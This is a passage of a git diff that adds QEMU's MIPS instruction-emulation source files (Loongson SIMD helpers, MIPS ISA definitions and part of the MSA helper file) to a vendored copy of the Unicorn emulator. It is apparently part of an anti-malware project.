i32, i32) + +DEF_HELPER_4(msa_fclass_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_ftrunc_s_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_ftrunc_u_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_fsqrt_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_frsqrt_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_frcp_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_frint_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_flog2_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_fexupl_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_fexupr_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_ffql_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_ffqr_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_ftint_s_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_ftint_u_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_ffint_s_df, void, env, i32, i32, i32) +DEF_HELPER_4(msa_ffint_u_df, void, env, i32, i32, i32) + +DEF_HELPER_5(msa_ld_df, void, env, i32, i32, i32, s32) +DEF_HELPER_5(msa_st_df, void, env, i32, i32, i32, s32) diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/lmi_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/lmi_helper.c new file mode 100644 index 0000000..bbfcd59 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/lmi_helper.c @@ -0,0 +1,744 @@ +/* + * Loongson Multimedia Instruction emulation helpers for QEMU. + * + * Copyright (c) 2011 Richard Henderson + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" + +/* If the byte ordering doesn't matter, i.e. all columns are treated + identically, then this union can be used directly. If byte ordering + does matter, we generally ignore dumping to memory. */ +typedef union { + uint8_t ub[8]; + int8_t sb[8]; + uint16_t uh[4]; + int16_t sh[4]; + uint32_t uw[2]; + int32_t sw[2]; + uint64_t d; +} LMIValue; + +/* Some byte ordering issues can be mitigated by XORing in the following. */ +#ifdef HOST_WORDS_BIGENDIAN +# define BYTE_ORDER_XOR(N) N +#else +# define BYTE_ORDER_XOR(N) 0 +#endif + +#define SATSB(x) (x < -0x80 ? -0x80 : x > 0x7f ? 0x7f : x) +#define SATUB(x) (x > 0xff ? 0xff : x) + +#define SATSH(x) (x < -0x8000 ? -0x8000 : x > 0x7fff ? 0x7fff : x) +#define SATUH(x) (x > 0xffff ? 0xffff : x) + +#define SATSW(x) \ + (x < -0x80000000ll ? -0x80000000ll : x > 0x7fffffff ? 0x7fffffff : x) +#define SATUW(x) (x > 0xffffffffull ? 0xffffffffull : x) + +uint64_t helper_paddsb(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; ++i) { + int r = vs.sb[i] + vt.sb[i]; + vs.sb[i] = SATSB(r); + } + return vs.d; +} + +uint64_t helper_paddusb(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; ++i) { + int r = vs.ub[i] + vt.ub[i]; + vs.ub[i] = SATUB(r); + } + return vs.d; +} + +uint64_t helper_paddsh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; ++i) { + int r = vs.sh[i] + vt.sh[i]; + vs.sh[i] = SATSH(r); + } + return vs.d; +} + +uint64_t helper_paddush(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; ++i) { + int r = vs.uh[i] + vt.uh[i]; + vs.uh[i] = SATUH(r); + } + return vs.d; +} + +uint64_t helper_paddb(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; ++i) { + vs.ub[i] += vt.ub[i]; + } + return vs.d; +} + +uint64_t helper_paddh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; ++i) { + vs.uh[i] += vt.uh[i]; + } + return vs.d; +} + +uint64_t helper_paddw(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 2; ++i) { + vs.uw[i] += vt.uw[i]; + } + return vs.d; +} + +uint64_t helper_psubsb(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; ++i) { + int r = vs.sb[i] - vt.sb[i]; + vs.sb[i] = SATSB(r); + } + return vs.d; +} + +uint64_t helper_psubusb(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; ++i) { + int r = vs.ub[i] - vt.ub[i]; + vs.ub[i] = SATUB(r); + } + return vs.d; +} + +uint64_t helper_psubsh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; ++i) { + int r = vs.sh[i] - vt.sh[i]; + vs.sh[i] = SATSH(r); + } + return vs.d; +} + +uint64_t helper_psubush(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; ++i) { + int r = vs.uh[i] - vt.uh[i]; + vs.uh[i] = SATUH(r); + } + return vs.d; +} + +uint64_t helper_psubb(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; ++i) { + vs.ub[i] -= vt.ub[i]; + } + return vs.d; +} + +uint64_t helper_psubh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; ++i) { + vs.uh[i] -= vt.uh[i]; + } + return vs.d; +} + +uint64_t helper_psubw(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned int i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 2; ++i) { + vs.uw[i] -= vt.uw[i]; + } + return vs.d; +} + +uint64_t helper_pshufh(uint64_t fs, uint64_t ft) +{ + unsigned host = BYTE_ORDER_XOR(3); + LMIValue vd, vs; + unsigned i; + + vs.d = fs; + vd.d = 0; + for (i = 0; i < 4; i++, ft >>= 2) { + vd.uh[i ^ host] = vs.uh[(ft & 3) ^ host]; + } + return vd.d; +} + +uint64_t helper_packsswh(uint64_t fs, uint64_t ft) +{ + uint64_t fd = 0; + int64_t tmp; + + tmp = (int32_t)(fs >> 0); + tmp = SATSH(tmp); + fd |= (tmp & 0xffff) << 0; + + tmp = (int32_t)(fs >> 32); + tmp = SATSH(tmp); + fd |= (tmp & 0xffff) << 16; + + tmp = (int32_t)(ft >> 0); + tmp = SATSH(tmp); + fd |= (tmp & 0xffff) << 32; + + tmp = (int32_t)(ft >> 32); + tmp = SATSH(tmp); + fd |= (tmp & 0xffff) << 48; + + return fd; +} + +uint64_t helper_packsshb(uint64_t fs, uint64_t ft) +{ + uint64_t fd = 0; + unsigned int i; + + for (i = 0; i < 4; ++i) { + int16_t tmp = fs >> (i * 16); + tmp = SATSB(tmp); + fd |= (uint64_t)(tmp & 0xff) << (i * 8); + } + for (i = 0; i < 4; ++i) { + int16_t tmp = ft >> (i * 16); + tmp = SATSB(tmp); + fd |= (uint64_t)(tmp & 0xff) << (i * 8 + 32); + } + + return fd; +} + +uint64_t helper_packushb(uint64_t fs, uint64_t ft) +{ + uint64_t fd = 0; + unsigned int i; + + for (i = 0; i < 4; ++i) { + int16_t tmp = fs >> (i * 16); + tmp = SATUB(tmp); + fd |= (uint64_t)(tmp & 0xff) << (i * 8); + } + for (i = 0; i < 4; ++i) { + int16_t tmp = ft >> (i * 16); + tmp = SATUB(tmp); + fd |= (uint64_t)(tmp & 0xff) << (i * 8 + 32); + } + + return fd; +} + +uint64_t helper_punpcklwd(uint64_t fs, uint64_t ft) +{ + return (fs & 0xffffffff) | (ft << 32); +} + +uint64_t helper_punpckhwd(uint64_t fs, uint64_t ft) +{ + return (fs >> 32) | (ft & ~0xffffffffull); +} + +uint64_t helper_punpcklhw(uint64_t fs, uint64_t ft) +{ + unsigned host = BYTE_ORDER_XOR(3); + LMIValue vd, vs, vt; + + vs.d = fs; + vt.d = ft; + vd.uh[0 ^ host] = vs.uh[0 ^ host]; + vd.uh[1 ^ host] = vt.uh[0 ^ host]; + vd.uh[2 ^ host] = vs.uh[1 ^ host]; + vd.uh[3 ^ host] = vt.uh[1 ^ host]; + + return vd.d; +} + +uint64_t helper_punpckhhw(uint64_t fs, uint64_t ft) +{ + unsigned host = BYTE_ORDER_XOR(3); + LMIValue vd, vs, vt; + + vs.d = fs; + vt.d = ft; + vd.uh[0 ^ host] = vs.uh[2 ^ host]; + vd.uh[1 ^ host] = vt.uh[2 ^ host]; + vd.uh[2 ^ host] = vs.uh[3 ^ host]; + vd.uh[3 ^ host] = vt.uh[3 ^ host]; + + return vd.d; +} + +uint64_t helper_punpcklbh(uint64_t fs, uint64_t ft) +{ + unsigned host = BYTE_ORDER_XOR(7); + LMIValue vd, vs, vt; + + vs.d = fs; + vt.d = ft; + vd.ub[0 ^ host] = vs.ub[0 ^ host]; + vd.ub[1 ^ host] = vt.ub[0 ^ host]; + vd.ub[2 ^ host] = vs.ub[1 ^ host]; + vd.ub[3 ^ host] = vt.ub[1 ^ host]; + vd.ub[4 ^ host] = vs.ub[2 ^ host]; + vd.ub[5 ^ host] = vt.ub[2 ^ host]; + vd.ub[6 ^ host] = vs.ub[3 ^ host]; + vd.ub[7 ^ host] = vt.ub[3 ^ host]; + + return vd.d; +} + +uint64_t helper_punpckhbh(uint64_t fs, uint64_t ft) +{ + unsigned host = BYTE_ORDER_XOR(7); + LMIValue vd, vs, vt; + + vs.d = fs; + vt.d = ft; + vd.ub[0 ^ host] = vs.ub[4 ^ host]; + vd.ub[1 ^ host] = vt.ub[4 ^ host]; + vd.ub[2 ^ host] = vs.ub[5 ^ host]; + vd.ub[3 ^ host] = vt.ub[5 ^ host]; + vd.ub[4 ^ host] = vs.ub[6 ^ host]; + vd.ub[5 ^ host] = vt.ub[6 ^ host]; + vd.ub[6 ^ host] = vs.ub[7 ^ host]; + vd.ub[7 ^ host] = vt.ub[7 ^ host]; + + return vd.d; +} + +uint64_t helper_pavgh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; i++) { + vs.uh[i] = (vs.uh[i] + vt.uh[i] + 1) >> 1; + } + return vs.d; +} + +uint64_t helper_pavgb(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; i++) { + vs.ub[i] = (vs.ub[i] + vt.ub[i] + 1) >> 1; + } + return vs.d; +} + +uint64_t helper_pmaxsh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; i++) { + vs.sh[i] = (vs.sh[i] >= vt.sh[i] ? vs.sh[i] : vt.sh[i]); + } + return vs.d; +} + +uint64_t helper_pminsh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; i++) { + vs.sh[i] = (vs.sh[i] <= vt.sh[i] ? vs.sh[i] : vt.sh[i]); + } + return vs.d; +} + +uint64_t helper_pmaxub(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; i++) { + vs.ub[i] = (vs.ub[i] >= vt.ub[i] ? vs.ub[i] : vt.ub[i]); + } + return vs.d; +} + +uint64_t helper_pminub(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; i++) { + vs.ub[i] = (vs.ub[i] <= vt.ub[i] ? vs.ub[i] : vt.ub[i]); + } + return vs.d; +} + +uint64_t helper_pcmpeqw(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 2; i++) { + vs.uw[i] = -(vs.uw[i] == vt.uw[i]); + } + return vs.d; +} + +uint64_t helper_pcmpgtw(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 2; i++) { + vs.uw[i] = -(vs.uw[i] > vt.uw[i]); + } + return vs.d; +} + +uint64_t helper_pcmpeqh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; i++) { + vs.uh[i] = -(vs.uh[i] == vt.uh[i]); + } + return vs.d; +} + +uint64_t helper_pcmpgth(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; i++) { + vs.uh[i] = -(vs.uh[i] > vt.uh[i]); + } + return vs.d; +} + +uint64_t helper_pcmpeqb(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; i++) { + vs.ub[i] = -(vs.ub[i] == vt.ub[i]); + } + return vs.d; +} + +uint64_t helper_pcmpgtb(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; i++) { + vs.ub[i] = -(vs.ub[i] > vt.ub[i]); + } + return vs.d; +} + +uint64_t helper_psllw(uint64_t fs, uint64_t ft) +{ + LMIValue vs; + unsigned i; + + ft &= 0x7f; + if (ft > 31) { + return 0; + } + vs.d = fs; + for (i = 0; i < 2; ++i) { + vs.uw[i] <<= ft; + } + return vs.d; +} + +uint64_t helper_psrlw(uint64_t fs, uint64_t ft) +{ + LMIValue vs; + unsigned i; + + ft &= 0x7f; + if (ft > 31) { + return 0; + } + vs.d = fs; + for (i = 0; i < 2; ++i) { + vs.uw[i] >>= ft; + } + return vs.d; +} + +uint64_t helper_psraw(uint64_t fs, uint64_t ft) +{ + LMIValue vs; + unsigned i; + + ft &= 0x7f; + if (ft > 31) { + ft = 31; + } + vs.d = fs; + for (i = 0; i < 2; ++i) { + vs.sw[i] >>= ft; + } + return vs.d; +} + +uint64_t helper_psllh(uint64_t fs, uint64_t ft) +{ + LMIValue vs; + unsigned i; + + ft &= 0x7f; + if (ft > 15) { + return 0; + } + vs.d = fs; + for (i = 0; i < 4; ++i) { + vs.uh[i] <<= ft; + } + return vs.d; +} + +uint64_t helper_psrlh(uint64_t fs, uint64_t ft) +{ + LMIValue vs; + unsigned i; + + ft &= 0x7f; + if (ft > 15) { + return 0; + } + vs.d = fs; + for (i = 0; i < 4; ++i) { + vs.uh[i] >>= ft; + } + return vs.d; +} + +uint64_t helper_psrah(uint64_t fs, uint64_t ft) +{ + LMIValue vs; + unsigned i; + + ft &= 0x7f; + if (ft > 15) { + ft = 15; + } + vs.d = fs; + for (i = 0; i < 4; ++i) { + vs.sh[i] >>= ft; + } + return vs.d; +} + +uint64_t helper_pmullh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; ++i) { + vs.sh[i] *= vt.sh[i]; + } + return vs.d; +} + +uint64_t helper_pmulhh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; ++i) { + int32_t r = vs.sh[i] * vt.sh[i]; + vs.sh[i] = r >> 16; + } + return vs.d; +} + +uint64_t helper_pmulhuh(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 4; ++i) { + uint32_t r = vs.uh[i] * vt.uh[i]; + vs.uh[i] = r >> 16; + } + return vs.d; +} + +uint64_t helper_pmaddhw(uint64_t fs, uint64_t ft) +{ + unsigned host = BYTE_ORDER_XOR(3); + LMIValue vs, vt; + uint32_t p0, p1; + + vs.d = fs; + vt.d = ft; + p0 = vs.sh[0 ^ host] * vt.sh[0 ^ host]; + p0 += vs.sh[1 ^ host] * vt.sh[1 ^ host]; + p1 = vs.sh[2 ^ host] * vt.sh[2 ^ host]; + p1 += vs.sh[3 ^ host] * vt.sh[3 ^ host]; + + return ((uint64_t)p1 << 32) | p0; +} + +uint64_t helper_pasubub(uint64_t fs, uint64_t ft) +{ + LMIValue vs, vt; + unsigned i; + + vs.d = fs; + vt.d = ft; + for (i = 0; i < 8; ++i) { + int r = vs.ub[i] - vt.ub[i]; + vs.ub[i] = (r < 0 ? -r : r); + } + return vs.d; +} + +uint64_t helper_biadd(uint64_t fs) +{ + unsigned i, fd; + + for (i = fd = 0; i < 8; ++i) { + fd += (fs >> (i * 8)) & 0xff; + } + return fd & 0xffff; +} + +uint64_t helper_pmovmskb(uint64_t fs) +{ + unsigned fd = 0; + + fd |= ((fs >> 7) & 1) << 0; + fd |= ((fs >> 15) & 1) << 1; + fd |= ((fs >> 23) & 1) << 2; + fd |= ((fs >> 31) & 1) << 3; + fd |= ((fs >> 39) & 1) << 4; + fd |= ((fs >> 47) & 1) << 5; + fd |= ((fs >> 55) & 1) << 6; + fd |= ((fs >> 63) & 1) << 7; + + return fd & 0xff; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/mips-defs.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/mips-defs.h new file mode 100644 index 0000000..1784227 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/mips-defs.h @@ -0,0 +1,91 @@ +#if !defined (__QEMU_MIPS_DEFS_H__) +#define __QEMU_MIPS_DEFS_H__ + +/* If we want to use host float regs... */ +//#define USE_HOST_FLOAT_REGS + +/* Real pages are variable size... */ +#define TARGET_PAGE_BITS 12 +#define MIPS_TLB_MAX 128 + +#if defined(TARGET_MIPS64) +#define TARGET_LONG_BITS 64 +#define TARGET_PHYS_ADDR_SPACE_BITS 36 +#define TARGET_VIRT_ADDR_SPACE_BITS 42 +#else +#define TARGET_LONG_BITS 32 +#define TARGET_PHYS_ADDR_SPACE_BITS 36 +#define TARGET_VIRT_ADDR_SPACE_BITS 32 +#endif + +/* Masks used to mark instructions to indicate which ISA level they + were introduced in. */ +#define ISA_MIPS1 0x00000001 +#define ISA_MIPS2 0x00000002 +#define ISA_MIPS3 0x00000004 +#define ISA_MIPS4 0x00000008 +#define ISA_MIPS5 0x00000010 +#define ISA_MIPS32 0x00000020 +#define ISA_MIPS32R2 0x00000040 +#define ISA_MIPS64 0x00000080 +#define ISA_MIPS64R2 0x00000100 +#define ISA_MIPS32R3 0x00000200 +#define ISA_MIPS64R3 0x00000400 +#define ISA_MIPS32R5 0x00000800 +#define ISA_MIPS64R5 0x00001000 +#define ISA_MIPS32R6 0x00002000 +#define ISA_MIPS64R6 0x00004000 + +/* MIPS ASEs. */ +#define ASE_MIPS16 0x00010000 +#define ASE_MIPS3D 0x00020000 +#define ASE_MDMX 0x00040000 +#define ASE_DSP 0x00080000 +#define ASE_DSPR2 0x00100000 +#define ASE_MT 0x00200000 +#define ASE_SMARTMIPS 0x00400000 +#define ASE_MICROMIPS 0x00800000 +#define ASE_MSA 0x01000000 + +/* Chip specific instructions. */ +#define INSN_LOONGSON2E 0x20000000 +#define INSN_LOONGSON2F 0x40000000 +#define INSN_VR54XX 0x80000000 + +/* MIPS CPU defines. */ +#define CPU_MIPS1 (ISA_MIPS1) +#define CPU_MIPS2 (CPU_MIPS1 | ISA_MIPS2) +#define CPU_MIPS3 (CPU_MIPS2 | ISA_MIPS3) +#define CPU_MIPS4 (CPU_MIPS3 | ISA_MIPS4) +#define CPU_VR54XX (CPU_MIPS4 | INSN_VR54XX) +#define CPU_LOONGSON2E (CPU_MIPS3 | INSN_LOONGSON2E) +#define CPU_LOONGSON2F (CPU_MIPS3 | INSN_LOONGSON2F) + +#define CPU_MIPS5 (CPU_MIPS4 | ISA_MIPS5) + +/* MIPS Technologies "Release 1" */ +#define CPU_MIPS32 (CPU_MIPS2 | ISA_MIPS32) +#define CPU_MIPS64 (CPU_MIPS5 | CPU_MIPS32 | ISA_MIPS64) + +/* MIPS Technologies "Release 2" */ +#define CPU_MIPS32R2 (CPU_MIPS32 | ISA_MIPS32R2) +#define CPU_MIPS64R2 (CPU_MIPS64 | CPU_MIPS32R2 | ISA_MIPS64R2) + +/* MIPS Technologies "Release 3" */ +#define CPU_MIPS32R3 (CPU_MIPS32R2 | ISA_MIPS32R3) +#define CPU_MIPS64R3 (CPU_MIPS64R2 | CPU_MIPS32R3 | ISA_MIPS64R3) + +/* MIPS Technologies "Release 5" */ +#define CPU_MIPS32R5 (CPU_MIPS32R3 | ISA_MIPS32R5) +#define CPU_MIPS64R5 (CPU_MIPS64R3 | CPU_MIPS32R5 | ISA_MIPS64R5) + +/* MIPS Technologies "Release 6" */ +#define CPU_MIPS32R6 (CPU_MIPS32R5 | ISA_MIPS32R6) +#define CPU_MIPS64R6 (CPU_MIPS64R5 | CPU_MIPS32R6 | ISA_MIPS64R6) + +/* Strictly follow the architecture standard: + - Disallow "special" instruction handling for PMON/SPIM. + Note that we still maintain Count/Compare to match the host clock. */ +//#define MIPS_STRICT_STANDARD 1 + +#endif /* !defined (__QEMU_MIPS_DEFS_H__) */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/msa_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/msa_helper.c new file mode 100644 index 0000000..dccadc4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/msa_helper.c @@ -0,0 +1,3436 @@ +/* + * MIPS SIMD Architecture Module Instruction emulation helpers for QEMU. + * + * Copyright (c) 2014 Imagination Technologies + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" + +/* Data format min and max values */ +#define DF_BITS(df) ((uint64_t)1 << ((df) + 3)) + +#define DF_MAX_INT(df) (int64_t)((1LL << (DF_BITS(df) - 1)) - 1) +#define M_MAX_INT(m) (int64_t)((1LL << ((m) - 1)) - 1) + +#define DF_MIN_INT(df) (int64_t)(-(1LL << (DF_BITS(df) - 1))) +#define M_MIN_INT(m) (int64_t)(-(1LL << ((m) - 1))) + +#define DF_MAX_UINT(df) (uint64_t)((0-1ULL) >> (64 - DF_BITS(df))) +#define M_MAX_UINT(m) (uint64_t)((0-1ULL) >> (64 - (m))) + +#define UNSIGNED(x, df) ((x) & DF_MAX_UINT(df)) +#define SIGNED(x, df) \ + ((((int64_t)x) << (64 - DF_BITS(df))) >> (64 - DF_BITS(df))) + +/* Element-by-element access macros */ +#define DF_ELEMENTS(df) (MSA_WRLEN / DF_BITS(df)) + +static inline void msa_move_v(wr_t *pwd, wr_t *pws) +{ + uint32_t i; + + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + pwd->d[i] = pws->d[i]; + } +} + +#define MSA_FN_IMM8(FUNC, DEST, OPERATION) \ +void helper_msa_ ## FUNC(CPUMIPSState *env, uint32_t wd, uint32_t ws, \ + uint32_t i8) \ +{ \ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); \ + wr_t *pws = &(env->active_fpu.fpr[ws].wr); \ + uint32_t i; \ + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { \ + DEST = OPERATION; \ + } \ +} + +MSA_FN_IMM8(andi_b, pwd->b[i], pws->b[i] & i8) +MSA_FN_IMM8(ori_b, pwd->b[i], pws->b[i] | i8) +MSA_FN_IMM8(nori_b, pwd->b[i], ~(pws->b[i] | i8)) +MSA_FN_IMM8(xori_b, pwd->b[i], pws->b[i] ^ i8) + +#define BIT_MOVE_IF_NOT_ZERO(dest, arg1, arg2, df) \ + UNSIGNED(((dest & (~arg2)) | (arg1 & arg2)), df) +MSA_FN_IMM8(bmnzi_b, pwd->b[i], + BIT_MOVE_IF_NOT_ZERO(pwd->b[i], pws->b[i], i8, DF_BYTE)) + +#define BIT_MOVE_IF_ZERO(dest, arg1, arg2, df) \ + UNSIGNED((dest & arg2) | (arg1 & (~arg2)), df) +MSA_FN_IMM8(bmzi_b, pwd->b[i], + BIT_MOVE_IF_ZERO(pwd->b[i], pws->b[i], i8, DF_BYTE)) + +#define BIT_SELECT(dest, arg1, arg2, df) \ + UNSIGNED((arg1 & (~dest)) | (arg2 & dest), df) +MSA_FN_IMM8(bseli_b, pwd->b[i], + BIT_SELECT(pwd->b[i], pws->b[i], i8, DF_BYTE)) + +#undef MSA_FN_IMM8 + +#define SHF_POS(i, imm) (((i) & 0xfc) + (((imm) >> (2 * ((i) & 0x03))) & 0x03)) + +void helper_msa_shf_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t imm) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t wx, *pwx = &wx; + uint32_t i; + + switch (df) { + case DF_BYTE: + for (i = 0; i < DF_ELEMENTS(DF_BYTE); i++) { + pwx->b[i] = pws->b[SHF_POS(i, imm)]; + } + break; + case DF_HALF: + for (i = 0; i < DF_ELEMENTS(DF_HALF); i++) { + pwx->h[i] = pws->h[SHF_POS(i, imm)]; + } + break; + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + pwx->w[i] = pws->w[SHF_POS(i, imm)]; + } + break; + default: + assert(0); + } + msa_move_v(pwd, pwx); +} + +#define MSA_FN_VECTOR(FUNC, DEST, OPERATION) \ +void helper_msa_ ## FUNC(CPUMIPSState *env, uint32_t wd, uint32_t ws, \ + uint32_t wt) \ +{ \ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); \ + wr_t *pws = &(env->active_fpu.fpr[ws].wr); \ + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); \ + uint32_t i; \ + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { \ + DEST = OPERATION; \ + } \ +} + +MSA_FN_VECTOR(and_v, pwd->d[i], pws->d[i] & pwt->d[i]) +MSA_FN_VECTOR(or_v, pwd->d[i], pws->d[i] | pwt->d[i]) +MSA_FN_VECTOR(nor_v, pwd->d[i], ~(pws->d[i] | pwt->d[i])) +MSA_FN_VECTOR(xor_v, pwd->d[i], pws->d[i] ^ pwt->d[i]) +MSA_FN_VECTOR(bmnz_v, pwd->d[i], + BIT_MOVE_IF_NOT_ZERO(pwd->d[i], pws->d[i], pwt->d[i], DF_DOUBLE)) +MSA_FN_VECTOR(bmz_v, pwd->d[i], + BIT_MOVE_IF_ZERO(pwd->d[i], pws->d[i], pwt->d[i], DF_DOUBLE)) +MSA_FN_VECTOR(bsel_v, pwd->d[i], + BIT_SELECT(pwd->d[i], pws->d[i], pwt->d[i], DF_DOUBLE)) +#undef BIT_MOVE_IF_NOT_ZERO +#undef BIT_MOVE_IF_ZERO +#undef BIT_SELECT +#undef MSA_FN_VECTOR + +static inline int64_t msa_addv_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return arg1 + arg2; +} + +static inline int64_t msa_subv_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return arg1 - arg2; +} + +static inline int64_t msa_ceq_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return arg1 == arg2 ? -1 : 0; +} + +static inline int64_t msa_cle_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return arg1 <= arg2 ? -1 : 0; +} + +static inline int64_t msa_cle_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + return u_arg1 <= u_arg2 ? -1 : 0; +} + +static inline int64_t msa_clt_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return arg1 < arg2 ? -1 : 0; +} + +static inline int64_t msa_clt_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = UNSIGNED(arg2, df); + return u_arg1 < u_arg2 ? -1 : 0; +} + +static inline int64_t msa_max_s_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + return arg1 > arg2 ? arg1 : arg2; +} + +static inline int64_t msa_max_u_df(uint32_t df, int64_t arg1, int64_t arg2) +{ + uint64_t u_arg1 = UNSIGNED(arg1, df); + uint64_t u_arg2 = 